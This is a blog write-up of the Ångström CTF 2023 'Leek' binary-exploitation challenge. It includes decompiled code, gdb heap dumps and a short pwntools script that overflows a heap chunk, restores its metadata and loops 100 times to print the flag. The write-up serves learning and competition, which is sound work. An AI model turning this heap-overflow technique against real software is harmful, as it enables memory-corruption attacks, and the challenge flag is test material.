Writeup for the medium ranked Ångström CTF challenge Leek

Posted on Apr 27, 2023

actf

Recon

This year we competed in Ångström CTF. This was the first time we tried it and we liked it. The difficulty of the challenges ranges from very simple to extremly hard. This makes it easy to slide in to the competition and climb your way up against the harder challenges. This is how the CTF is described:

Anyone can participate in ångstromCTF. However, due to various reasons, we can only give prizes to teams from the United States. In order for a team to be eligible for prizes, all team members must be affiliated with either a public or private middle or high school in the U.S. or be home-schooled. College students, international students, industry professionals, and anyone else from around the world is allowed to participate, however, they will be ineligible to win prizes.

There were several interesting challenges in every category, for now I choose to present one of the medium hard from the pwn-category. Binary exploitation might not be on top of everyones mind anymore but it’s still an interesting skill to have up your sleeve, if you really want to know the inner workings of your machine.

actf

We are greeted with the screen above. We can connect to the challenge using netcat and we can download some files to work on locally. Let’s download the files and get to work.

Scanning

Examining the downloaded files

First of all let’s check the leek file which I guess is the executable program.

 ~/Desktop/leek/ file leek 
leek: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52fb15c64c5e12ea6c59efafa15237b40d51a3ea, for GNU/Linux 3.2.0, not stripped

And yes it seems like that is the case. We have a 64-bit linux ELF binary here. Let’s checkout the Dockerfile to see what kind of environment it’s executing in.

FROM pwn.red/jail

COPY --from=ubuntu:22.04 / /srv
COPY leek /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

So it seems the docker image is built around some pwn.red platform which I guess is something specific for CTF:s. No need to dig deeper into that for now. Leek is copied in there under /srv/app/run and I would guess that the pwn.red then takes care of exposing it on specific port.

What’s most interesting here is that ubuntu 22.04 is copied into /srv. So my guess is that we can find out about libc and stuff there if we need to do that. But now it’s time to analyze that leek binary.

Static analysis of the binary

First of all let’s see what protections are active in the executable.

 ~/Desktop/leek/ checksec leek
[*] '/Users/chgr/Desktop/leek/leek'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE and partial RELRO. So we do know the adresses of the code inside leek will stay the same and we can overwrite the GOT if we want to. Now let’s load the ELF binary up in the good old Ghidra.

actf

Let’s take a closer look on the main function and see what we got.

void main(void)

{
  __gid_t __rgid;
  int iVar1;
  time_t tVar2;
  char *__s;
  char *__s1;
  long in_FS_OFFSET;
  int local_58;
  int local_54;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("I dare you to leek my secret.");
  local_58 = 0;
  while( true ) {
    if (99 < local_58) {
      puts("Looks like you made it through.");
      win();
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    __s = (char *)malloc(0x10);
    __s1 = (char *)malloc(0x20);
    memset(__s1,0,0x20);
    getrandom(__s1,0x20,0);
    for (local_54 = 0; local_54 < 0x20; local_54 = local_54 + 1) {
      if ((__s1[local_54] == '\0') || (__s1[local_54] == '\n')) {
        __s1[local_54] = '\x01';
      }
    }
    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(__s);
    printf(":skull::skull::skull: bro really said: ");
    puts(__s);
    printf("So? What\'s my secret? ");
    fgets(local_38,0x21,stdin);
    iVar1 = strncmp(__s1,local_38,0x20);
    if (iVar1 != 0) break;
    puts("Okay, I\'ll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(__s);
    puts("Hmm... I changed my mind.");
    free(__s1);
    free(__s);
    puts("Next round!");
    local_58 = local_58 + 1;
  }
  puts("Wrong!");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

So this takes som analysis. First of all everything loops within this:

while( true ) {

}

That loop starts with a block that looks like this:

    if (99 < local_58) {
      puts("Looks like you made it through.");
      win();
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }

That block checks if the loop has iterated 100 times and then calls the function win(). Let’s take a look at win().

void win(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Error: missing flag.txt.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_98,0x80,__stream);
  puts(local_98);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

This function reads a file called flag.txt from the filesystem and prints it’s contents to stdout. Since this is a CTF our primary objective is to our the hands on that flag. So now we know that we need to loop 100 times to get the flag. Let’s take a look at the next block of code inside the loop.

    __s = (char *)malloc(0x10);
    __s1 = (char *)malloc(0x20);
    memset(__s1,0,0x20);
    getrandom(__s1,0x20,0);
    for (local_54 = 0; local_54 < 0x20; local_54 = local_54 + 1) {
      if ((__s1[local_54] == '\0') || (__s1[local_54] == '\n')) {
        __s1[local_54] = '\x01';
      }
    }

There are two chunks of data allocated on the heap via calls to malloc() the pointers are stored in the variables __s and s__1. There are 16 bytes allocated for _s and there’s 32 bytes allocated for __s1. Then there’s a string of random characters generated and it’s stored on the heap within the memory that __s1 points to. Let’s find out what happens next.

    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(__s);
    printf(":skull::skull::skull: bro really said: ");
    puts(__s);
    printf("So? What\'s my secret? ");
    fgets(local_38,0x21,stdin);
    iVar1 = strncmp(__s1,local_38,0x20);
    if (iVar1 != 0) break;

There’s a call to fgets() which takes input from the user that then is then compared to the random string using strncmp(). If the two strings match the execution continues otherwise the loop will break. There is no inndication of bugs here but let’s dig deeper int the call to a function called input().

void input(void *param_1)

{
  size_t __n;
  long in_FS_OFFSET;
  char local_518 [1288];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(local_518,0x500,stdin);
  __n = strlen(local_518);
  memcpy(param_1,local_518,__n);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The input() function is called with a parameter (*parm_1). We could see earlier that it was __s that is sent in, one of the pointers to the allocated heap memory. We can input 1280 bytes of data and that is copied in memory to an area that *param_1 is pointing to, wich we know is __s.

1280 bytes is plenty more than both the 16 and the 32 bytes allocated to __s and __s1. We have found our first vulnerability where we can overwrite heap memory of two chunks including meta data. Let’s take a look at the last block of code in the loop.

  puts("Okay, I\'ll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(__s);
    puts("Hmm... I changed my mind.");
    free(__s1);
    free(__s);
    puts("Next round!");
    local_58 = local_58 + 1;

That’s a call to gets() without any restrictions which means we have found a second vulnerability. Since this also uses __s it means we can overwrite the same memory area as with the other bug. After this both chunks on the heap is released with a call to free(). To sum it up we found two vulnerabilities that overwrites the same area in heap memory. I think we have enough information to build an attack strategy.

Designing a strategy for the attack

I have to admit I am a little bit afraid of heap exploitation. It’s like black magic. Some kind of evil witchcraft. Hard to understand and impossible to master. But I can see an easy way out of this one.

This is just a CTF and we need the flag so we do not nececary need to spawn a shell. The flag i right there if we can loop 100 times and get a call to win.

My idea is that we overwrite __s1 with 32 bytes of known data. Then we can guess that data since we control what it is and then we just loop it 100 times. Easy.

But there is one problem. The memory is released within the loop with a call to free() that call will use the meta data in the heap. Some of that metadata is located between __s and __s1 and will be corrupted when we overwrite memory.

A call to free() when we have corrupted the meta data will probably crash the program. So what can we do? We have one more chance to overwrite the same memory after the strncmp(). Why don’t we just try to write the meta data back like it was before. Since both chunks are allocated over and over again it will probably look the same every time. Let’s do som investigation into that using gdb.

Dynamic analysis of the binary

We want to find out what the area of memory between __s and __s1 looks like, so let’s start up gdb.

┌──(kali㉿kali)-[~/Downloads]
└─$ chmod +x leek  
                                                                             
┌──(kali㉿kali)-[~/Downloads]
└─$ gdb leek 
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from leek...
(No debugging symbols found in leek)
gef➤  

Now let’s take a look at the program so we know where to set our breakpoint.

gef  disassemble main
Dump of assembler code for function main:
   0x000000000040149a <+0>:     endbr64
   0x000000000040149e <+4>:     push   rbp
   0x000000000040149f <+5>:     mov    rbp,rsp
   0x00000000004014a2 <+8>:     sub    rsp,0x50
   0x00000000004014a6 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004014af <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004014b3 <+25>:    xor    eax,eax
   0x00000000004014b5 <+27>:    mov    edi,0x0
   0x00000000004014ba <+32>:    call   0x401220 <time@plt>
   0x00000000004014bf <+37>:    mov    edi,eax
   0x00000000004014c1 <+39>:    call   0x4011f0 <srand@plt>
   0x00000000004014c6 <+44>:    mov    rax,QWORD PTR [rip+0x2c03]        # 0x4040d0 <stdout@GLIBC_2.2.5>                                                  
   0x00000000004014cd <+51>:    mov    esi,0x0
   0x00000000004014d2 <+56>:    mov    rdi,rax
   0x00000000004014d5 <+59>:    call   0x4011c0 <setbuf@plt>
   0x00000000004014da <+64>:    mov    rax,QWORD PTR [rip+0x2bff]        # 0x4040e0 <stdin@GLIBC_2.2.5>                                                   
   0x00000000004014e1 <+71>:    mov    esi,0x0
   0x00000000004014e6 <+76>:    mov    rdi,rax
   0x00000000004014e9 <+79>:    call   0x4011c0 <setbuf@plt>
   0x00000000004014ee <+84>:    mov    eax,0x0
   0x00000000004014f3 <+89>:    call   0x401250 <getegid@plt>
   0x00000000004014f8 <+94>:    mov    DWORD PTR [rbp-0x48],eax
   0x00000000004014fb <+97>:    mov    edx,DWORD PTR [rbp-0x48]
   0x00000000004014fe <+100>:   mov    ecx,DWORD PTR [rbp-0x48]
   0x0000000000401501 <+103>:   mov    eax,DWORD PTR [rbp-0x48]
   0x0000000000401504 <+106>:   mov    esi,ecx
   0x0000000000401506 <+108>:   mov    edi,eax
   0x0000000000401508 <+110>:   mov    eax,0x0
   0x000000000040150d <+115>:   call   0x4011b0 <setresgid@plt>
   0x0000000000401512 <+120>:   lea    rax,[rip+0xb13]        # 0x40202c
   0x0000000000401519 <+127>:   mov    rdi,rax
   0x000000000040151c <+130>:   call   0x401180 <puts@plt>
   0x0000000000401521 <+135>:   mov    DWORD PTR [rbp-0x50],0x0
   0x0000000000401528 <+142>:   jmp    0x4016d9 <main+575>
   0x000000000040152d <+147>:   mov    DWORD PTR [rbp-0x44],0x10
   0x0000000000401534 <+154>:   mov    eax,DWORD PTR [rbp-0x44]
   0x0000000000401537 <+157>:   cdqe
   0x0000000000401539 <+159>:   mov    rdi,rax
   0x000000000040153c <+162>:   call   0x401240 <malloc@plt>
   0x0000000000401541 <+167>:   mov    QWORD PTR [rbp-0x40],rax
   0x0000000000401545 <+171>:   mov    edi,0x20
   0x000000000040154a <+176>:   call   0x401240 <malloc@plt>
   0x000000000040154f <+181>:   mov    QWORD PTR [rbp-0x38],rax
   0x0000000000401553 <+185>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000401557 <+189>:   mov    edx,0x20
   0x000000000040155c <+194>:   mov    esi,0x0
   0x0000000000401561 <+199>:   mov    rdi,rax
   0x0000000000401564 <+202>:   call   0x4011e0 <memset@plt>
   0x0000000000401569 <+207>:   mov    rax,QWORD PTR [rbp-0x38]
   0x000000000040156d <+211>:   mov    edx,0x0
   0x0000000000401572 <+216>:   mov    esi,0x20
   0x0000000000401577 <+221>:   mov    rdi,rax
   0x000000000040157a <+224>:   call   0x401280 <getrandom@plt>
   0x000000000040157f <+229>:   mov    DWORD PTR [rbp-0x4c],0x0
   0x0000000000401586 <+236>:   jmp    0x4015c4 <main+298>
   0x0000000000401588 <+238>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x000000000040158b <+241>:   movsxd rdx,eax
   0x000000000040158e <+244>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000401592 <+248>:   add    rax,rdx
   0x0000000000401595 <+251>:   movzx  eax,BYTE PTR [rax]
   0x0000000000401598 <+254>:   test   al,al
   0x000000000040159a <+256>:   je     0x4015b0 <main+278>
   0x000000000040159c <+258>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x000000000040159f <+261>:   movsxd rdx,eax
   0x00000000004015a2 <+264>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00000000004015a6 <+268>:   add    rax,rdx
   0x00000000004015a9 <+271>:   movzx  eax,BYTE PTR [rax]
   0x00000000004015ac <+274>:   cmp    al,0xa
   0x00000000004015ae <+276>:   jne    0x4015c0 <main+294>
   0x00000000004015b0 <+278>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004015b3 <+281>:   movsxd rdx,eax
   0x00000000004015b6 <+284>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00000000004015ba <+288>:   add    rax,rdx
   0x00000000004015bd <+291>:   mov    BYTE PTR [rax],0x1
   0x00000000004015c0 <+294>:   add    DWORD PTR [rbp-0x4c],0x1
   0x00000000004015c4 <+298>:   cmp    DWORD PTR [rbp-0x4c],0x1f
   0x00000000004015c8 <+302>:   jle    0x401588 <main+238>
   0x00000000004015ca <+304>:   lea    rax,[rip+0xa7f]        # 0x402050
   0x00000000004015d1 <+311>:   mov    rdi,rax
   0x00000000004015d4 <+314>:   mov    eax,0x0
   0x00000000004015d9 <+319>:   call   0x4011d0 <printf@plt>
   0x00000000004015de <+324>:   mov    rax,QWORD PTR [rbp-0x40]
   0x00000000004015e2 <+328>:   mov    rdi,rax
   0x00000000004015e5 <+331>:   call   0x401418 <input>
   0x00000000004015ea <+336>:   lea    rax,[rip+0xa8f]        # 0x402080
   0x00000000004015f1 <+343>:   mov    rdi,rax
   0x00000000004015f4 <+346>:   mov    eax,0x0
   0x00000000004015f9 <+351>:   call   0x4011d0 <printf@plt>
   0x00000000004015fe <+356>:   mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000401602 <+360>:   mov    rdi,rax
   0x0000000000401605 <+363>:   call   0x401180 <puts@plt>
   0x000000000040160a <+368>:   lea    rax,[rip+0xa97]        # 0x4020a8
   0x0000000000401611 <+375>:   mov    rdi,rax
   0x0000000000401614 <+378>:   mov    eax,0x0
   0x0000000000401619 <+383>:   call   0x4011d0 <printf@plt>
   0x000000000040161e <+388>:   mov    rdx,QWORD PTR [rip+0x2abb]        # 0x4040e0 <stdin@GLIBC_2.2.5>                                                   
   0x0000000000401625 <+395>:   lea    rax,[rbp-0x30]
   0x0000000000401629 <+399>:   mov    esi,0x21
   0x000000000040162e <+404>:   mov    rdi,rax
   0x0000000000401631 <+407>:   call   0x401200 <fgets@plt>
   0x0000000000401636 <+412>:   lea    rcx,[rbp-0x30]
   0x000000000040163a <+416>:   mov    rax,QWORD PTR [rbp-0x38]
   0x000000000040163e <+420>:   mov    edx,0x20
   0x0000000000401643 <+425>:   mov    rsi,rcx
   0x0000000000401646 <+428>:   mov    rdi,rax
   0x0000000000401649 <+431>:   call   0x401170 <strncmp@plt>
   0x000000000040164e <+436>:   test   eax,eax
   0x0000000000401650 <+438>:   je     0x40166b <main+465>
   0x0000000000401652 <+440>:   lea    rax,[rip+0xa66]        # 0x4020bf
   0x0000000000401659 <+447>:   mov    rdi,rax
   0x000000000040165c <+450>:   call   0x401180 <puts@plt>
   0x0000000000401661 <+455>:   mov    edi,0xffffffff
   0x0000000000401666 <+460>:   call   0x401270 <exit@plt>
   0x000000000040166b <+465>:   lea    rax,[rip+0xa56]        # 0x4020c8
   0x0000000000401672 <+472>:   mov    rdi,rax
   0x0000000000401675 <+475>:   call   0x401180 <puts@plt>
   0x000000000040167a <+480>:   lea    rax,[rip+0xa75]        # 0x4020f6
   0x0000000000401681 <+487>:   mov    rdi,rax
   0x0000000000401684 <+490>:   mov    eax,0x0
   0x0000000000401689 <+495>:   call   0x4011d0 <printf@plt>
   0x000000000040168e <+500>:   mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000401692 <+504>:   mov    rdi,rax
   0x0000000000401695 <+507>:   mov    eax,0x0
   0x000000000040169a <+512>:   call   0x401230 <gets@plt>
   0x000000000040169f <+517>:   lea    rax,[rip+0xa64]        # 0x40210a
   0x00000000004016a6 <+524>:   mov    rdi,rax
   0x00000000004016a9 <+527>:   call   0x401180 <puts@plt>
   0x00000000004016ae <+532>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00000000004016b2 <+536>:   mov    rdi,rax
   0x00000000004016b5 <+539>:   call   0x401160 <free@plt>
   0x00000000004016ba <+544>:   mov    rax,QWORD PTR [rbp-0x40]
   0x00000000004016be <+548>:   mov    rdi,rax
   0x00000000004016c1 <+551>:   call   0x401160 <free@plt>
   0x00000000004016c6 <+556>:   lea    rax,[rip+0xa57]        # 0x402124
   0x00000000004016cd <+563>:   mov    rdi,rax
   0x00000000004016d0 <+566>:   call   0x401180 <puts@plt>
   0x00000000004016d5 <+571>:   add    DWORD PTR [rbp-0x50],0x1
   0x00000000004016d9 <+575>:   mov    eax,DWORD PTR [rip+0x29e1]        # 0x4040c0 <N>                                                                   
   0x00000000004016df <+581>:   cmp    DWORD PTR [rbp-0x50],eax
   0x00000000004016e2 <+584>:   jl     0x40152d <main+147>
   0x00000000004016e8 <+590>:   lea    rax,[rip+0xa41]        # 0x402130
   0x00000000004016ef <+597>:   mov    rdi,rax
   0x00000000004016f2 <+600>:   call   0x401180 <puts@plt>
   0x00000000004016f7 <+605>:   mov    eax,0x0
   0x00000000004016fc <+610>:   call   0x401376 <win>
   0x0000000000401701 <+615>:   nop
   0x0000000000401702 <+616>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401706 <+620>:   sub    rax,QWORD PTR fs:0x28
   0x000000000040170f <+629>:   je     0x401716 <main+636>
   0x0000000000401711 <+631>:   call   0x4011a0 <__stack_chk_fail@plt>
   0x0000000000401716 <+636>:   leave
   0x0000000000401717 <+637>:   ret
End of assembler dump.

I would like to know how the heap memory looks just before the strncmp() so we can see what the meta data that we need to restore before free() looks like. So let’s put our breakpoint on x401649.

gef➤  b *0x0000000000401649
Breakpoint 1 at 0x401649

And now let’s run the program and fill up the first buffer with 16 bytes of data and the buffer for the guess with 32 bytes of data. The guess does not really matter for now.

gef➤  r
Starting program: /home/kali/Downloads/leek 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): PWN!PWN!PWN!PWN!
:skull::skull::skull: bro really said: PWN!PWN!PWN!PWN!

So? What's my secret? HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX

Breakpoint 1, 0x0000000000401649 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000000004052c0  →  0x3cf0aec19fef2d1e
$rbx   : 0x007fffffffdf48  →  0x007fffffffe295  →  "/home/kali/Downloads/leek"
$rcx   : 0x007fffffffde00  →  "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
$rdx   : 0x20              
$rsp   : 0x007fffffffdde0  →  0x0000002000000000
$rbp   : 0x007fffffffde30  →  0x0000000000000001
$rsi   : 0x007fffffffde00  →  "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
$rdi   : 0x000000004052c0  →  0x3cf0aec19fef2d1e
$rip   : 0x00000000401649  →  <main+431> call 0x401170 <strncmp@plt>
$r8    : 0x1               
$r9    : 0x0               
$r10   : 0x007ffff7de49d8  →  0x0010001a00001b50
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x007fffffffdf58  →  0x007fffffffe2af  →  "COLORFGBG=15;0"
$r14   : 0x00000000403e18  →  0x00000000401340  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdde0│+0x0000: 0x0000002000000000     ← $rsp
0x007fffffffdde8│+0x0008: 0x00000010000003e8
0x007fffffffddf0│+0x0010: 0x000000004052a0  →  "PWN!PWN!PWN!PWN!\n"
0x007fffffffddf8│+0x0018: 0x000000004052c0  →  0x3cf0aec19fef2d1e
0x007fffffffde00│+0x0020: "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"     ← $rcx, $rsi
0x007fffffffde08│+0x0028: "HAXXHAXXHAXXHAXXHAXXHAXX"
0x007fffffffde10│+0x0030: "HAXXHAXXHAXXHAXX"
0x007fffffffde18│+0x0038: "HAXXHAXX"
──────────────────────────────────────────────────────────── code:x86:64 ────
     0x40163e <main+420>       mov    edx, 0x20
     0x401643 <main+425>       mov    rsi, rcx
     0x401646 <main+428>       mov    rdi, rax
 →   0x401649 <main+431>       call   0x401170 <strncmp@plt>
   ↳    0x401170 <strncmp@plt+0>  endbr64 
        0x401174 <strncmp@plt+4>  bnd    jmp QWORD PTR [rip+0x2ea5]        # 0x404020 <[email protected]>
        0x40117b <strncmp@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
        0x401180 <puts@plt+0>     endbr64 
        0x401184 <puts@plt+4>     bnd    jmp QWORD PTR [rip+0x2e9d]        # 0x404028 <[email protected]>
        0x40118b <puts@plt+11>    nop    DWORD PTR [rax+rax*1+0x0]
──────────────────────────────────────────────────── arguments (guessed) ────
strncmp@plt (
   $rdi = 0x000000004052c0 → 0x3cf0aec19fef2d1e,
   $rsi = 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX",
   $rdx = 0x00000000000020,
   $rcx = 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
)
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "leek", stopped 0x401649 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401649 → main()
────────────────────────────────

We should now have filled up the first 16 bytes with “PWN!”. Let’s use gdb/gef to examine the heap memory.

gef➤  heap chunks
Chunk(addr=0x405010, size=0x290, flags=PREV_INUSE)
    [0x0000000000405010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x4052a0, size=0x20, flags=PREV_INUSE)
    [0x00000000004052a0     50 57 4e 21 50 57 4e 21 50 57 4e 21 50 57 4e 21    PWN!PWN!PWN!PWN!]
Chunk(addr=0x4052c0, size=0x30, flags=PREV_INUSE)
    [0x00000000004052c0     1e 2d ef 9f c1 ae f0 3c 67 c7 d5 49 51 88 ec a7    .-.....<g..IQ...]
Chunk(addr=0x4052f0, size=0x20d20, flags=PREV_INUSE)
    [0x00000000004052f0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x4052f0, size=0x20d20, flags=PREV_INUSE)  ←  top chunk

Our first chunk seems to be att address 0x4052a0 and it now holds the string of “PWN!PWN!PWN!PWN!”. The second one that holds the random data should be located right after and that is 0x4052c0. Let’s dump this memory and examine it.

gef➤  x/64b 0x4052a0
0x4052a0:       0x50    0x57    0x4e    0x21    0x50    0x57    0x4e    0x21
0x4052a8:       0x50    0x57    0x4e    0x21    0x50    0x57    0x4e    0x21
0x4052b0:       0xa     0x0     0x0     0x0     0x0     0x0     0x0     0x0
0x4052b8:       0x31    0x0     0x0     0x0     0x0     0x0     0x0     0x0
0x4052c0:       0x1e    0x2d    0xef    0x9f    0xc1    0xae    0xf0    0x3c
0x4052c8:       0x67    0xc7    0xd5    0x49    0x51    0x88    0xec    0xa7
0x4052d0:       0x40    0xcb    0x53    0x8b    0xec    0x2     0xbf    0x12
0x4052d8:       0xdd    0x38    0xc3    0xd9    0x31    0xeb    0xcb    0xe6

The first 16 bytes are a repetitive pattern of 0x50 0x57 0x4e 0x21 which is our PWN! string. Then in the area between our 16 bytes and the second chunk we can see:

0x4052b0:       0xa     0x0     0x0     0x0     0x0     0x0     0x0     0x0
0x4052b8:       0x31    0x0     0x0     0x0     0x0     0x0     0x0     0x0

That first 0xashould be the carriage return that ended our input. So the only meta data I can see here is a bunch of 0x00and one 0x31. I don’t even care what it means at this point I only need to restore it with that second vulnerability. That is enough information to start writing the exploit code.

Gaining Access

Writing the exploit code

We need to loop this 100 times to get the flag so let’s base everythin upon a loop.

from pwn import *

elf = ELF('/home/f1rstr3am/Downloads/leek/leek')
context.binary = elf

r = remote('challs.actf.co', 31310)

for i in range(0, 100):
    payload = cyclic(16) + b'PWN!'*12
    r.sendlineafter(b'OVERFLOWS!!): ', payload)
    r.sendafter(b'secret? ', b'PWN!'*8)
    payload = b'C'*16 + b'\x00'*8 + b'\x31' + b'\x00'*7
    r.sendlineafter(b'Say what you want: ', payload)
    print(str(i) + '\r', end='')

r.interactive()

Our first payload is constructed with the first 16 bytes of cyclic data that fills up the allocated memory of __s then we overwrite both the meta data and the random data with a repetitive patterna of PWN!.

Our guess is then simple. It’s 32 bytes of repetitive “PWN!”. And finally we need to restore that overwritten meta data so we just make sure that 0x31 is written to that place in memory and the rest of meta data is filled with 0x00.

This is so simple that we do not even need to try i locally… 😎

actf23

Well 100 iterations took some time against the Ångström servers, but it sure works. We got our flag. ☠️☠️☠️☠️

┌──(kali㉿kali)-[~/Downloads/leek]
└─$ python3 exploit.py
[*] '/home/kali/Downloads/leek/leek'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to challs.actf.co on port 31310: Done
[*] Switching to interactive mode
Hmm... I changed my mind.
Next round!
Looks like you made it through.
actf{very_133k_of_y0u_777522a2c32b7dd6}
[*] Got EOF while reading in interactive
$ 

Summary

This is probably not very real world when it comes to heap exploitation. Im not that deep into the world of heap magic so I don’t know if you can corrupt that memory to gain code execution and perhaps spawn a shell. Perhaps it’s a good excercise to research. I want to learn more about it so if I manage to do this trick in another way there will be a follow up to this post.

When it comes to Ångström CTF 2023 as a competition I think it has a very good span of newbie friendly challenges up to some insanly hard challenges. Hard without making them stupid that is. Cause that’s one thing I don’t like, when things are hard just because someone decided it should be hard. Things shoulkd always have some kind of connection with the real world in my opinion. Hardcore CTF:ers probably don’t agree.

actf23

As you can see we managed to place ourselves at place 45 which is nice having limited time and resources. Special thank’s must go out to Christer Ohlsson who solved the entire crypto category by himself! 👏 👏 👏 👏 👏 And to Decart my friend from 💀 Hack The Box community, who supported us with various solutions and helpful thoughts.

Until the next time, happy hacking!

/f1rstr3am

Christian

HTB THM